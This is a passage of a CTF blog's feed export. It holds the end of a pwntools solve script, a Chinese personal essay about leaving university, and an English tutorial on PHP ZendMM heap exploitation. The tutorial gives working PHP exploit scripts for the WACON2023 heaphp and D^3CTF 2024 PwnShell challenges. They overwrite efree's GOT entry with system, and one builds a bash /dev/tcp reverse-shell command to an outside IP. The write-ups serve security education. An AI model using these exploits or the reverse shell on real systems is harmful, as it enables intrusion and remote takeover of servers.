p.recvuntil(b&#39;-&#39;, drop=True)      log.info(f&quot;Monster: \n&#123;info.decode()&#125;&quot;)      moster_hp = int(info.split(b&quot;HP: &quot;)[-1].split(b&quot;M&quot;)[0].strip())        log.info(&quot;Calm&quot; if calm else &quot;Wrath&quot;)      log.info(f&quot;Monster HP: &#123;moster_hp&#125;&quot;)        p.recvuntil(b&quot;turn):&quot;)        if &quot;R&quot; in cards:        p.sendline(str(cards.index(&quot;R&quot;) + 1).encode())      else:        if not &quot;N&quot; in cards:          calm = False        if not &quot;V&quot; in cards:          calm = True          if calm:          p.sendline(str(cards.index(&quot;N&quot;) + 1).encode())          if moster_hp &lt; 8:             break          calm = False        else:          p.sendline(str(cards.index(&quot;V&quot;) + 1).encode())          calm = True      log.success(&quot;来玩杀戮尖塔谢谢喵~&quot;)    p.sendline(b&quot;cat flag&quot;)    p.interactive()</code></pre><p>很酷</p>]]></content>
    
    
    <summary type="html">出题之余想打打比赛复健一下，没想到题目质量出奇的高，最后pwn方向第二</summary>
    
    
    
    
    <category term="pwn" scheme="http://deepunk.icu/tags/pwn/"/>
    
    <category term="wp" scheme="http://deepunk.icu/tags/wp/"/>
    
    <category term="dl" scheme="http://deepunk.icu/tags/dl/"/>
    
  </entry>
  
  <entry>
    <title>2023 在逃离之后</title>
    <link href="http://deepunk.icu/2023-%E5%9C%A8%E9%80%83%E7%A6%BB%E4%B9%8B%E5%90%8E/"/>
    <id>http://deepunk.icu/2023-%E5%9C%A8%E9%80%83%E7%A6%BB%E4%B9%8B%E5%90%8E/</id>
    <published>2023-12-31T16:00:00.000Z</published>
    <updated>2026-05-27T12:52:23.536Z</updated>
    
    <content type="html"><![CDATA[<p>熬过了艰难的期末，终于有点精力写些想表达的东西。这种感觉一如高考完的那个暑假里，在迷茫中写写划划，企图在文字中找到一种力量感。之后的一年，过得像中学墙上的模范议论文，填满了字，读不出意思。即使在人生走马灯里，也是被”a few years later”一笔带过的水平。当然，好的故事总要学会在不该精彩的地方不精彩。正好前年的故事也忘讲了，那就从头讲起吧。</p><p>高考完的日子，一拨人忙着缅怀，一拨人忙着逃离。我理应也忙着逃离。但忍不住给喜欢的女生发了条消息，顺理成章地，让本就不太一帆风顺的逃离之旅雪上加霜。在得手之前，在逃离之后，我在十八岁生日那天一遍遍梳理着自己既不岁月静好也不波澜壮阔的前半生。人总是在日复一日里渴望遇见改变，直到意识到改变永远不会奔他而来，这时候的他，浑然不觉已经在等待着一声发令——一个意义非凡的日子、一句话、一个人。那天我真正决定要逃离，我知道我的一部分还困在那里。它不在学校里面，而在沿着地基往下五千万公里深处。那里有一条根，贯穿我受教育的前半生，蔓延，生长，在生命的终点朝我挥手。</p><p>我又想到大一。大一的关键词是“悬浮”。那是什么感觉，就像一阵风托起，你和周遭世界就浮到了半空中。你的力量，在这个没有支点的空中轻飘飘的，稍不注意还会失去平衡。于是你和周围的人一起飘啊飘。混沌运动里没有人知道目的地。</p><p>在这个读研几乎成为唯一出路的专业，追求极致的分数是生存的本能。我看到一些优秀的同学为了考试奉献了自己大部分时间，然后公开或私下用“卷”评价着其他努力的同学，转头又在某些交流群里以“X神”“X佬”互相吹捧。我无意指谪，选择这种活法的是环境，而非他们。但从小到大看同样的剧本多少会审美疲劳，何况叛逆如我。于是我开始翘课，起初只翘C语言一类的水课，然后开始间歇翘微积分一类的正课，直到发现进度跟不上，索性一节都不去了。好在考前力挽狂澜，最后杂技般安稳地落在保研线里。<br>翘出来的时间也未必干了什么正事，除了睡觉，顺利完成的只记得通过凝聚招新。剩下的都是些荒唐的失败：挑战一人完成电赛题目（然后在截稿前发现pcb封装画反）、挑战同一天打校内acm和台球校赛、挑战读完图书馆里各种稀奇古怪的领域的代表作品。不带来收获的失败，甚至有些乏味。乏味当然是相对的，一直输也比不上场好。</p><p>后面就是以前提过的老剧情，观摩ASC，参加国赛，重新融入凝聚balabala。最重要的，大概是找到了热爱的方向和一群志同道合的人。</p><p>这是正面的影响，从负面来说，一个明确的方向，让我对课内更不上心了。据统计，我23下半年中后期一周平均只上了2.5节课，又已知我在复习期间相当浮躁（且沉迷R6），易得：我的绩点将惨不忍睹。（本文动笔时，我一度相信半导体物理将迎来我的第一门挂科。由于本文跨越一个多月才完成，写到本段时成绩早就出了，我现在知道我被捞了，有道是：天无绝人之路）这种成绩基本宣告和保研无缘了。</p><p>这个结果并没有引起我多少触动，好像早就知道会走到这一步。我想，即使让时间倒流两个月，提前开始复习，我依旧会在能感知到危险的那个节点之前挥霍时间，最后依旧是勉勉强强复习个大概的结果。如果我减少翘课次数，我会因为增添的信心，继续延后那个认真复习的节点，最后的结果也不会改变多少。换句话说，复习时间、翘课，这些变量如何改变，也无法改变其结果。考试的结局，在失败这里收敛了。这不是改头换面的宿命论，我对待学科的热情，始终控制着收敛的方向。只要不对关键变量做出改变，再多的尝试和悔恨也没有意义。一切都是我应得的，这样的观点让我轻易就接受了现实。</p><p>这也算逃离吗？从行为上更像被驱逐，看原因却像早有预谋。从一条明确的赛道，走向未知的旷野。好处是不用再付出维持选择权的成本，这大概是一种自由，可是自由将落向何处，我不知道。如果明天的安全感不能托付某个制度、某个组织，那我选择交给明天的自己。</p><p>那年高三，空气阴冷，自习课，班主任来到跟前，我还沉浸在卡拉马佐夫兄弟的世界浑然不觉。我相信那一刻我已经逃离了，透过层层书卷和天花板，享受短暂的祥和。此后的人生，我必须不停逃下去，才能躲过身后的崩坏。</p>]]></content>
    
    
    <summary type="html">发点牢骚</summary>
    
    
    
    
    <category term="摸" scheme="http://deepunk.icu/tags/%E6%91%B8/"/>
    
  </entry>
  
  <entry>
    <title>A Brief Introduction to PHP Heap Exploitation</title>
    <link href="http://deepunk.icu/php-pwn/"/>
    <id>http://deepunk.icu/php-pwn/</id>
    <published>2023-09-14T11:59:41.000Z</published>
    <updated>2026-05-27T12:52:23.539Z</updated>
    
    <content type="html"><![CDATA[<p>It&#96;s my first time encountering this fancy pwn item, known as Web Pwn, on WACON2023. I have few experience on php coding, so it spent me a long time to figure out how ZendMM actually works.</p><h1 id="The-Memory-Management-of-Zend-Engine"><a href="#The-Memory-Management-of-Zend-Engine" class="headerlink" title="The Memory Management of Zend Engine"></a>The Memory Management of Zend Engine</h1><p>PHP codes are explained through the <strong>Zend engine</strong>. Instead of directly using traditional <code>malloc</code> and <code>free</code> to manage memory, Zend uses <strong>ZendMM</strong> to allocate and release memory through <code>emalloc</code> and <code>efree</code> , which efficiently serves PHP request-bound machanisms (that&#96;s another topic). </p><h2 id="Basic-Structure"><a href="#Basic-Structure" class="headerlink" title="Basic Structure"></a>Basic Structure</h2><p>As writen in <code>zend_alloc.c</code> source code, all allocations are split into 3 categories: huge, large and small. Remember that zend_alloc allocates memory form OS by <strong>CHUNKS</strong>, which contains 2MB memories. Huge allocs are those who exceed a chunk. And zend_alloc use  <code>mmap</code> to allocate one. The concept of <strong>PAGE</strong> is commonly used in ZendMM, which usually contains 4KB memories. That&#96;s to say, a chunk contains 512 pages. Small allocs are less than 3&#x2F;4 of page size. The rest are Large allocs.</p><p>Each time a chunk is alloced, the first page of the chunk is used to record basic information about the chunk. The Structure recording information is <code>_zend_mm_chunk</code> ,(which doesn&#96;t appear in huge chunk)</p><pre><code class="c">struct _zend_mm_chunk &#123;    zend_mm_heap      *heap;    zend_mm_chunk     *next;    zend_mm_chunk     *prev;    uint32_t           free_pages;/* number of free pages */    uint32_t           free_tail;               /* number of free pages at the end of chunk */    uint32_t           num;    char               reserve[64 - (sizeof(void*) * 3 + sizeof(uint32_t) * 3)];    zend_mm_heap       heap_slot;               /* used only in main chunk */    zend_mm_page_map   free_map;                /* 512 bits or 64 bytes */    zend_mm_page_info  map[ZEND_MM_PAGES];      /* 2 KB = 512 * 4 */&#125;;</code></pre><p>All the chunks form a double linked list (<code>*next</code>, <code>*prev</code>). A chunk records the usage and other detailed information of its 512 pages through <code>zend_mm_page_map</code>, <code>zend_mm_page_info</code>. Also, the <code>zend_mm_heap</code> structure merits attention.</p><pre><code class="c">struct _zend_mm_heap &#123;#if ZEND_MM_CUSTOM    int                use_custom_heap;#endif#if ZEND_MM_STORAGE    zend_mm_storage   *storage;#endif#if ZEND_MM_STAT    size_t             size;                    /* current memory usage */    size_t             peak;                    /* peak memory usage */#endif    zend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */#if ZEND_MM_STAT || ZEND_MM_LIMIT    size_t             real_size;               /* current size of allocated pages */#endif#if ZEND_MM_STAT    size_t             real_peak;               /* peak size of allocated pages */#endif#if ZEND_MM_LIMIT    size_t             limit;                   /* memory limit */    int                overflow;                /* memory overflow flag */#endif    zend_mm_huge_list *huge_list;               /* list of huge allocated blocks */    zend_mm_chunk     *main_chunk;    zend_mm_chunk     *cached_chunks;/* list of unused chunks */    int                chunks_count;/* number of allocated chunks */    int                peak_chunks_count;/* peak number of allocated chunks for current request */    int                cached_chunks_count;/* number of cached chunks */    double             avg_chunks_count;/* average number of chunks allocated per request */    int                last_chunks_delete_boundary; /* number of chunks after last deletion */    int                last_chunks_delete_count;    /* number of deletion over the last boundary */#if ZEND_MM_CUSTOM    union &#123;        struct &#123;            void      *(*_malloc)(size_t);            void       (*_free)(void*);            void      *(*_realloc)(void*, size_t);        &#125; std;        struct &#123;            void      *(*_malloc)(size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);            void       (*_free)(void*  ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);            void      *(*_realloc)(void*, size_t  ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);        &#125; debug;    &#125; custom_heap;    HashTable *tracked_allocs;#endif&#125;;</code></pre><p>Mind the <code>zend_mm_free_slot</code>. The <code>ZEND_MM_BINS</code> usually is 30, which means there are 30 fixed size for small runs. As a result, there are 30 single linked list.</p><h2 id="Vulnerable-Small-Runs"><a href="#Vulnerable-Small-Runs" class="headerlink" title="Vulnerable Small Runs"></a>Vulnerable Small Runs</h2><p>We mainly focus on small runs, because its vulnerable.</p><pre><code class="c">static zend_never_inline void *zend_mm_alloc_small_slow(zend_mm_heap *heap, uint32_t bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)&#123;    /*        omitted...    */        chunk = (zend_mm_chunk*)ZEND_MM_ALIGNED_BASE(bin, ZEND_MM_CHUNK_SIZE);    page_num = ZEND_MM_ALIGNED_OFFSET(bin, ZEND_MM_CHUNK_SIZE) / ZEND_MM_PAGE_SIZE;    chunk-&gt;map[page_num] = ZEND_MM_SRUN(bin_num);    if (bin_pages[bin_num] &gt; 1) &#123;        uint32_t i = 1;        do &#123;            chunk-&gt;map[page_num+i] = ZEND_MM_NRUN(bin_num, i);            i++;        &#125; while (i &lt; bin_pages[bin_num]);    &#125;    /* create a linked list of elements from 1 to last */    end = (zend_mm_free_slot*)((char*)bin + (bin_data_size[bin_num] * (bin_elements[bin_num] - 1)));    heap-&gt;free_slot[bin_num] = p = (zend_mm_free_slot*)((char*)bin + bin_data_size[bin_num]);    do &#123;        p-&gt;next_free_slot = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);#if ZEND_DEBUG        do &#123;            zend_mm_debug_info *dbg = (zend_mm_debug_info*)((char*)p + bin_data_size[bin_num] - ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_debug_info)));            dbg-&gt;size = 0;        &#125; while (0);#endif        p = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);    &#125; while (p != end);    /*        omitted...    */&#125;</code></pre><p>This function is mainly used for building the small run chain when allocating  a chunk. It explains how 30 single linked chains are built. Because each part of the chain doesn&#96;t have to contain a header about its size, only leaving the fd, we may find the weird scene (compared to glibc) in the memory.</p><p><img src="/../img/php-pwn.assets/image-20230914220353292.png" alt="image-20230914220353292"> </p><p>When we allocate a small run:</p><pre><code class="c">static zend_always_inline void *zend_mm_alloc_small(zend_mm_heap *heap, int bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)&#123;#if ZEND_MM_STAT    do &#123;        size_t size = heap-&gt;size + bin_data_size[bin_num];        size_t peak = MAX(heap-&gt;peak, size);        heap-&gt;size = size;        heap-&gt;peak = peak;    &#125; while (0);#endif    if (EXPECTED(heap-&gt;free_slot[bin_num] != NULL)) &#123;        zend_mm_free_slot *p = heap-&gt;free_slot[bin_num];        heap-&gt;free_slot[bin_num] = p-&gt;next_free_slot;        return p;    &#125; else &#123;        return zend_mm_alloc_small_slow(heap, bin_num ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);    &#125;&#125;</code></pre><p>When we release a small run:</p><pre><code class="c">static zend_always_inline void zend_mm_free_small(zend_mm_heap *heap, void *ptr, int bin_num)&#123;    zend_mm_free_slot *p;#if ZEND_MM_STAT    heap-&gt;size -= bin_data_size[bin_num];#endif#if ZEND_DEBUG    do &#123;        zend_mm_debug_info *dbg = (zend_mm_debug_info*)((char*)ptr + bin_data_size[bin_num] - ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_debug_info)));        dbg-&gt;size = 0;    &#125; while (0);#endif    p = (zend_mm_free_slot*)ptr;    p-&gt;next_free_slot = heap-&gt;free_slot[bin_num];    heap-&gt;free_slot[bin_num] = p;&#125;</code></pre><p>Both of the functions lake security checks .If we replace the fd of it by out target address, we get an arbitrary address allocate!  That makes small runs vulnerable.</p><h1 id="WACON2023-heaphp"><a href="#WACON2023-heaphp" class="headerlink" title="WACON2023-heaphp"></a>WACON2023-heaphp</h1><p>A typical php-pwn, we are given a docker environment and a vulnerable php extension module heaphp.so.</p><p>It took me quite a long time building local php environment following the guideline on blogs. I complied php locally aming to debug it easily.  <a href="https://learnku.com/docs/php-internals/php7/building_php/6840">This document</a> helped a lot. However, if you try to complie php with debug-symbol, the ABI of the binary will change, which makes your extension unable to load properly. That ‘s actually what I encountered. </p><p>So, What ‘s the point of it ? I don ‘t know.</p><h2 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h2><p>All protection is on except Partial RELRO .The extension mainly consists of 5 functions: add, view, edit, list, delete. Because of zend engine, the pseudo-code are hard to understand (especially for noobs like me). There are tons of code of uncertain significance like:</p><p><img src="/../img/php-pwn.assets/image-20230914223544720.png" alt="image-20230914223544720"></p><p>Then we must dig into the basic data type in zend. That`s <code>_zend_value</code> and <code>_zval_struct</code></p><pre><code class="c">typedef union _zend_value &#123;    zend_long         lval;/* long value */    double            dval;/* double value */    zend_refcounted  *counted;    zend_string      *str;    zend_array       *arr;    zend_object      *obj;    zend_resource    *res;    zend_reference   *ref;    zend_ast_ref     *ast;    zval             *zv;    void             *ptr;    zend_class_entry *ce;    zend_function    *func;    struct &#123;        uint32_t w1;        uint32_t w2;    &#125; ww;&#125; zend_value;struct _zval_struct &#123;    zend_value        value;/* value */    union &#123;        uint32_t type_info;        struct &#123;            ZEND_ENDIAN_LOHI_3(                zend_uchar    type,/* active type */                zend_uchar    type_flags,                union &#123;                    uint16_t  extra;        /* not further specified */                &#125; u)        &#125; v;    &#125; u1;    union &#123;        uint32_t     next;                 /* hash collision chain */        uint32_t     cache_slot;           /* cache slot (for RECV_INIT) */        uint32_t     opline_num;           /* opline number (for FAST_CALL) */        uint32_t     lineno;               /* line number (for ast nodes) */        uint32_t     num_args;             /* arguments number for EX(This) */        uint32_t     fe_pos;               /* foreach position */        uint32_t     fe_iter_idx;          /* foreach iterator index */        uint32_t     property_guard;       /* single property guard */        uint32_t     constant_flags;       /* constant flags */        uint32_t     extra;                /* not further specified */    &#125; u2;&#125;;</code></pre><p>That`s quite a complex structure, if we replace the meaningless <code>__int64 xx</code> with corresponding zend data type, then it will be easier to comprehend.</p><p>by the way, the form of parameters looks weird</p><p><img src="/../img/php-pwn.assets/image-20230914225045011.png" alt="image-20230914225045011"></p><p>It doesn`t mean takeing exactly 2 parameters. In fact,  <code>a1</code> stands for the input args (parsed by something like <code>zend_parse_arg</code>), while <code>a2</code> stands for the return values. We may set type of <code>a1</code> to be <code>zend_execute_data *</code> and <code>a2</code> to be <code>zval *</code>. In practice, I set <code>a1</code> to be <code>_zval_struct *</code> for better comprehension.</p><p>After checking the declaration, the meaning of following parts a clear. (take <code>zif_add_note</code> for example)</p><p><img src="/../img/php-pwn.assets/image-20230915121612049.png" alt="image-20230915121612049"></p><p><code>v2</code> represents the total number of parameters, and here should be 2.</p><p><img src="/../img/php-pwn.assets/image-20230915121952724.png" alt="image-20230915121952724"></p><p>Here comes a type check. Refering the table and we find ‘6’ represents string. So arg1 should be a string ptr, and will be copied to <code>v4</code>.</p><h2 id="Vulnerability"><a href="#Vulnerability" class="headerlink" title="Vulnerability"></a>Vulnerability</h2><p><code>zif_add_note</code> use <code>strlen</code> to caculate the length of input string and allocate corresponding memory. However, when using <code>memcpy</code> to copy content, the 3rd argument taken is the actual length of string. The consequences is that string can be cut off by NULL, which means we can overwrite the next memory`s fd.</p><p><code>zif_add_note</code> also contains an off by NULL Vulnerability.But who cares?</p><h2 id="Exploitation"><a href="#Exploitation" class="headerlink" title="Exploitation"></a>Exploitation</h2><p>Since Partial RELRO is on, we can overwrite GOT table. Before that, we must leak the address of heap.so and libc.so.</p><h3 id="Debuging-Tricks"><a href="#Debuging-Tricks" class="headerlink" title="Debuging Tricks"></a>Debuging Tricks</h3><p>To load the target extension, you should put the extension in correct path. To find the path, run</p><pre><code class="shell">$ php -i | grep -i extension_dir</code></pre><p>And modify the php.ini file. You can <code>find</code> it in root directory.</p><pre><code class="shell">$ sudo find / -name &quot;php.ini&quot;</code></pre><p>Add the config at the file end</p><pre><code class="shell">extension=heaphp.so</code></pre><p>After that, you can check if it`s properly loaded by <code>phpinfo</code> or checking the <code>/proc/[pid]/maps</code> when running php.</p><p>To debug the extension, we run php with gdb attached first</p><pre><code class="shell">$ gdb php</code></pre><p>Then we <code>run</code> it and press <code>Ctrl+c</code> to interrupt it. Check the <code>vmmap</code> , you may find heaphp.so is loaded.</p><p>We can set breakpoints now. Don&#96;t forget to set our exploit script as argument.</p><pre><code class="shell">$ set args ./exp.php$ b zif_add_notes$ run</code></pre><p>You can also write them in a gdb script.</p><h2 id="Address-Leak"><a href="#Address-Leak" class="headerlink" title="Address Leak"></a>Address Leak</h2><p>Through overwrite the content pointer of any notes, we may get content of arbitrary address through <code>zif_view_note</code>.</p><p>First step, we can leak an fd pointer (by <code>zif_view_note</code> or <code>zif_list_note</code> ). Our heap memory was allocated by mmap anonymously, it doesn&#96;t have a constant offset with libc.so or heaphp.so.</p><p><img src="/../img/php-pwn.assets/image-20230915150945514.png" alt="image-20230915150945514"></p><p>However, we may find a pointer related to libc.so or heaphp.so on the heap. It could be extremely hard to find one through analyzing the source code. But I found a useful tool in pwndbg.</p><pre><code class="shell">usage: leakfind [-h] [-p [PAGE_NAME]] [-o [MAX_OFFSET]] [-d [MAX_DEPTH]] [-s [STEP]] [--negative_offset [NEGATIVE_OFFSET]] address</code></pre><p><code>leakfind</code> is a powerful tool to leak address given a starting address, then we can find some libc pointers on the heap.</p><p><img src="/../img/php-pwn.assets/image-20230915151632552.png" alt="image-20230915151632552"></p><p>On obtaining the libc address, we get heaphp.so address since they have constant offset, then we can overwrite the <code>_efree@got.plt</code> on the heaphp.so with the actual address of <code>system</code>  on libc.so.</p><h2 id="Payload"><a href="#Payload" class="headerlink" title="Payload"></a>Payload</h2><p>It`s not the final edition because functions like <code>chr()</code> are banned in the docker, and getting shell is usually not allowed in PHP pwn. I preserved them to make it more readable.</p><pre><code class="php">&lt;?php    // function mychr($index)&#123;    // return [&#39;\x00&#39;, &#39;\x01&#39;, &#39;\x02&#39;, &#39;\x03&#39;, &#39;\x04&#39;, &#39;\x05&#39;, &#39;\x06&#39;, &#39;\x07&#39;, &#39;\x08&#39;, &#39;\t&#39;, &#39;\n&#39;, &#39;\x0b&#39;, &#39;\x0c&#39;, &#39;\r&#39;, &#39;\x0e&#39;, &#39;\x0f&#39;, &#39;\x10&#39;, &#39;\x11&#39;, &#39;\x12&#39;, &#39;\x13&#39;, &#39;\x14&#39;, &#39;\x15&#39;, &#39;\x16&#39;, &#39;\x17&#39;, &#39;\x18&#39;, &#39;\x19&#39;, &#39;\x1a&#39;, &#39;\x1b&#39;, &#39;\x1c&#39;, &#39;\x1d&#39;, &#39;\x1e&#39;, &#39;\x1f&#39;, &#39; &#39;, &#39;!&#39;, &#39;&quot;&#39;, &#39;#&#39;, &#39;$&#39;, &#39;%&#39;, &#39;&amp;&#39;, &quot;&#39;&quot;, &#39;(&#39;, &#39;)&#39;, &#39;*&#39;, &#39;+&#39;, &#39;,&#39;, &#39;-&#39;, &#39;.&#39;, &#39;/&#39;, &#39;0&#39;, &#39;1&#39;, &#39;2&#39;, &#39;3&#39;, &#39;4&#39;, &#39;5&#39;, &#39;6&#39;, &#39;7&#39;, &#39;8&#39;, &#39;9&#39;, &#39;:&#39;, &#39;;&#39;, &#39;&lt;&#39;, &#39;=&#39;, &#39;&gt;&#39;, &#39;?&#39;, &#39;@&#39;, &#39;A&#39;, &#39;B&#39;, &#39;C&#39;, &#39;D&#39;, &#39;E&#39;, &#39;F&#39;, &#39;G&#39;, &#39;H&#39;, &#39;I&#39;, &#39;J&#39;, &#39;K&#39;, &#39;L&#39;, &#39;M&#39;, &#39;N&#39;, &#39;O&#39;, &#39;P&#39;, &#39;Q&#39;, &#39;R&#39;, &#39;S&#39;, &#39;T&#39;, &#39;U&#39;, &#39;V&#39;, &#39;W&#39;, &#39;X&#39;, &#39;Y&#39;, &#39;Z&#39;, &#39;[&#39;, &#39;\\&#39;, &#39;]&#39;, &#39;^&#39;, &#39;_&#39;, &#39;`&#39;, &#39;a&#39;, &#39;b&#39;, &#39;c&#39;, &#39;d&#39;, &#39;e&#39;, &#39;f&#39;, &#39;g&#39;, &#39;h&#39;, &#39;i&#39;, &#39;j&#39;, &#39;k&#39;, &#39;l&#39;, &#39;m&#39;, &#39;n&#39;, &#39;o&#39;, &#39;p&#39;, &#39;q&#39;, &#39;r&#39;, &#39;s&#39;, &#39;t&#39;, &#39;u&#39;, &#39;v&#39;, &#39;w&#39;, &#39;x&#39;, &#39;y&#39;, &#39;z&#39;, &#39;&#123;&#39;, &#39;|&#39;, &#39;&#125;&#39;, &#39;~&#39;, &#39;\x7f&#39;, &#39;\x80&#39;, &#39;\x81&#39;, &#39;\x82&#39;, &#39;\x83&#39;, &#39;\x84&#39;, &#39;\x85&#39;, &#39;\x86&#39;, &#39;\x87&#39;, &#39;\x88&#39;, &#39;\x89&#39;, &#39;\x8a&#39;, &#39;\x8b&#39;, &#39;\x8c&#39;, &#39;\x8d&#39;, &#39;\x8e&#39;, &#39;\x8f&#39;, &#39;\x90&#39;, &#39;\x91&#39;, &#39;\x92&#39;, &#39;\x93&#39;, &#39;\x94&#39;, &#39;\x95&#39;, &#39;\x96&#39;, &#39;\x97&#39;, &#39;\x98&#39;, &#39;\x99&#39;, &#39;\x9a&#39;, &#39;\x9b&#39;, &#39;\x9c&#39;, &#39;\x9d&#39;, &#39;\x9e&#39;, &#39;\x9f&#39;, &#39;\xa0&#39;, &#39;¡&#39;, &#39;¢&#39;, &#39;£&#39;, &#39;¤&#39;, &#39;¥&#39;, &#39;¦&#39;, &#39;§&#39;, &#39;¨&#39;, &#39;©&#39;, &#39;ª&#39;, &#39;«&#39;, &#39;¬&#39;, &#39;\xad&#39;, &#39;®&#39;, &#39;¯&#39;, &#39;°&#39;, &#39;±&#39;, &#39;²&#39;, &#39;³&#39;, &#39;´&#39;, &#39;µ&#39;, &#39;¶&#39;, &#39;·&#39;, &#39;¸&#39;, &#39;¹&#39;, &#39;º&#39;, &#39;»&#39;, &#39;¼&#39;, &#39;½&#39;, &#39;¾&#39;, &#39;¿&#39;, &#39;À&#39;, &#39;Á&#39;, &#39;Â&#39;, &#39;Ã&#39;, &#39;Ä&#39;, &#39;Å&#39;, &#39;Æ&#39;, &#39;Ç&#39;, &#39;È&#39;, &#39;É&#39;, &#39;Ê&#39;, &#39;Ë&#39;, &#39;Ì&#39;, &#39;Í&#39;, &#39;Î&#39;, &#39;Ï&#39;, &#39;Ð&#39;, &#39;Ñ&#39;, &#39;Ò&#39;, &#39;Ó&#39;, &#39;Ô&#39;, &#39;Õ&#39;, &#39;Ö&#39;, &#39;×&#39;, &#39;Ø&#39;, &#39;Ù&#39;, &#39;Ú&#39;, &#39;Û&#39;, &#39;Ü&#39;, &#39;Ý&#39;, &#39;Þ&#39;, &#39;ß&#39;, &#39;à&#39;, &#39;á&#39;, &#39;â&#39;, &#39;ã&#39;, &#39;ä&#39;, &#39;å&#39;, &#39;æ&#39;, &#39;ç&#39;, &#39;è&#39;, &#39;é&#39;, &#39;ê&#39;, &#39;ë&#39;, &#39;ì&#39;, &#39;í&#39;, &#39;î&#39;, &#39;ï&#39;, &#39;ð&#39;, &#39;ñ&#39;, &#39;ò&#39;, &#39;ó&#39;, &#39;ô&#39;, &#39;õ&#39;, &#39;ö&#39;, &#39;÷&#39;, &#39;ø&#39;, &#39;ù&#39;, &#39;ú&#39;, &#39;û&#39;, &#39;ü&#39;, &#39;ý&#39;, &#39;þ&#39;, &#39;ÿ&#39;][$index];    // &#125;    function tobytes($integerValue, $byteLength) &#123;        $byteString = &#39;&#39;;        for ($i = 0; $i &lt; $byteLength; $i++) &#123;            $byteString .= chr($integerValue &amp; 0xFF);            $integerValue &gt;&gt;= 8;        &#125;        return $byteString;    &#125;    add_note(&quot;number0&quot;,&quot;aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa&quot;);    add_note(&quot;number1&quot;,&quot;aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa&quot;);    delete_note(0);add_note(&quot;number0&quot;,&quot;aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaa\x00/bin/shacaaadaaaeaaafaaagaaahaaaiaaajaaa&quot;);    $fd=list_note();    $fd = $fd[1];    $decimalValue = 0;    for ($i = 1; $i &lt;= 6; $i++) &#123;        $char = $fd[-$i];        $digit = ord($char);        $decimalValue = ($decimalValue &lt;&lt; 8) | $digit;    &#125;        $heap_base = $decimalValue - 0x1480;    $target_libc = $heap_base + 0x82000;     delete_note(0);add_note(&quot;number0&quot;,&quot;aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaa\x00aaaabaaacaaadaaaeaaafaaagaaahaaa\xff\x00\x00\x00\x00\x00\x00\x00&quot; . tobytes($target_libc,8));    $libc_off = view_note(1);    $libc = 0;    for ($i = 5; $i &gt;= 0; $i--) &#123;        $char = $libc_off[$i];        $digit = ord($char);        $libc = ($libc &lt;&lt; 8) | $digit;    &#125;    $libc -= 0x219aa0;    printf(&quot;%x&quot;,$libc);    $heaphp_base = $libc + 0x7af000;    $sys_addr = $libc + 0x50d60;    $efree_got_addr = $heaphp_base + 0x4058;    delete_note(0);add_note(&quot;number0&quot;,&quot;aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaa\x00aaaabaaacaaadaaaeaaafaaagaaahaaa\xff\x00\x00\x00\x00\x00\x00\x00&quot; . tobytes($efree_got_addr,8));    add_note(&quot;./readflag&quot;,&quot;/bin/sh&quot;);    edit_note(1,tobytes($sys_addr,8));    delete_note(2);?&gt;</code></pre><h1 id="D-3CTF-2024-PwnShell"><a href="#D-3CTF-2024-PwnShell" class="headerlink" title="D^3CTF 2024-PwnShell"></a>D^3CTF 2024-PwnShell</h1><p>I camp up with this pwnable challenge in d^3ctf 2024, to offer an entry-level php pwn challenge. To make it more interesting, I wraped it with a simple file uploading web challenge.</p><p>There is an off-by-null in addHacker function. Trigger the off-by-null to forge a fake fd and create a heap overlap to get a arbitary address write permitive. Then we are able to forge the GOT of efree to call system.</p><p>Btw the libc address leak can be obtained by including the &#x2F;proc&#x2F;self&#x2F;maps or leaking certain pointers in the heap. That&#96;s two typicall way to obtain adderss leak in php pwn.</p><pre><code class="php">&lt;?php  $heap_base = 0;  $libc_base = 0;  $libc = &quot;&quot;;  $mbase = &quot;&quot;;    function u64($leak)&#123;      $leak = strrev($leak);      $leak = bin2hex($leak);      $leak = hexdec($leak);      return $leak;  &#125;    function p64($addr)&#123;      $addr = dechex($addr);      $addr = hex2bin($addr);      $addr = strrev($addr);      $addr = str_pad($addr, 8, &quot;\x00&quot;);      return $addr;  &#125;    function leakaddr($buffer)&#123;      global $libc,$mbase;      $p = &#39;/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/&#39;;      $p1 = &#39;/([0-9a-f]+)\-[0-9a-f]+ .*  \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/&#39;;      preg_match_all($p, $buffer, $libc);      preg_match_all($p1, $buffer, $mbase);      return &quot;&quot;;  &#125;    function leak()&#123;      global $libc_base, $module_base, $libc, $mbase;        ob_start(&quot;leakaddr&quot;);      include(&quot;/proc/self/maps&quot;);      $buffer = ob_get_contents();      ob_end_flush();      leakaddr($buffer);      $libc_base=hexdec($libc[1][0]);      $module_base=hexdec($mbase[1][0]);  &#125;  function attack($cmd)&#123;      global $libc_base, $module_base;      $payload = str_pad(p64($module_base + 0x4038).p64(0xff), 0x40, &quot;\x90&quot;);      $gadget = p64($libc_base + 0x4c490);      addHacker(str_repeat(&quot;\x90&quot;, 0x8), str_repeat(&quot;\x90&quot;, 0x30));      addHacker($payload, str_repeat(&quot;\x90&quot;, 0x2f));      addHacker(str_pad($cmd, 0x20, &quot;\x00&quot;), &quot;114514&quot;);      editHacker(0, $gadget);  &#125;  function main()&#123;      $cmd = &#39;bash -c &quot;bash -i &gt;&amp; /dev/tcp/114.514.19.19/810 0&gt;&amp;1&quot;&#39;;      